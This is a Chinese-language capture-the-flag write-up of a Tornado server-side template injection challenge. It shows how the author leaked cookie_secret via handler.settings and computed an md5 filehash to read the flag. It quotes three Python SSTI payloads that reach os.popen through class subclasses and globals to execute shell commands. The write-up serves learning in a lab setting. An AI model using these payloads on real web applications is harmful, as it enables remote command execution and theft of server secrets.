嗯,一直在等学习SSTI
后再来搞这个题,最后还是只能学个思路,简单记录下。
进去以后有三个文件,先点了第一个文件/flag.txt
。
提示flag
在/fllllllllllllag
里面,直接访问好了。
访问完后,出错了,应该是由于文件校验的失败的问题。
这时候就是第三个文件/hints.txt
的作用了。
告诉了我们filehash
的生成方式,同时也带来了新的问题,cookie_secret
值是多少。
再结合第二个文件/welcome.txt
的提示rend
,以及题目的提示tornado
。
百度简单搜了下,提示还是非常明显的
提示用的模板渲染(SSTI),那这个模板在哪,其实这里有点小坑,不注意就会没发现,这个地方其实就在刚刚报错的地方。
?msg=Error
这里传的Error
传的也是Error
,换一个试试,
传test
也是输出test
,然后尝试下运算{{2*2}}
似乎没成功,用了其他的运算符也不行。不过在里面随便输入了点东西,确实是服务器进行了操作的。
那接下来就是考虑怎么找到cookie_secret
了
找了下面这些命令执行的payload
好像都被过滤掉了
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')
这两个payload用的是同一个模块,__builtins__模块,eval方法.
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()
那就只能尝试着直接传cookie_secret
相关的参数看是否可以,然后这里查了半天资料还是找不到对应的信息,果然还是不熟悉python
框架的web
应用,然后就去看writeup
了。。
见识了,原来是这样找到的,难怪之前一直找不到关键点,官方文档。
直接构造payload
为handler.settings
拿到cookie
,然后python
运算一下,得出filehash
还以为结束了,结果报错,这里还是写个python
处理下。
import hashlib
def md5s(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
return m.hexdigest()
if __name__ == '__main__':
filename_md5 = md5s("/fllllllllllllag")
secret_cookie = "96e69164-12f2-4804-826b-9a4c5b1252d7"
filehash = md5s(secret_cookie+filename_md5)
print(filehash)
运行结果
最后成功拿到flag